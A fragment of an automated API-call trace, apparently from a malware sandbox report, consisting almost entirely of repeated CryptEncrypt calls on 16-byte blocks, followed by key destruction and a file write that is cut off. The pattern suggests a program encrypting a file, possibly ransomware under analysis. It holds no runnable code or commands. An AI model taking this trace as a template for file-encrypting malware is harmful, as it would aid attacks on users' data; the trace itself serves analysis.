pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.422] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.423] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.426] CryptDestroyKey (hKey=0x16394e8) returned 1 [0165.426] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0165.426] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x14b40, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.426] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: 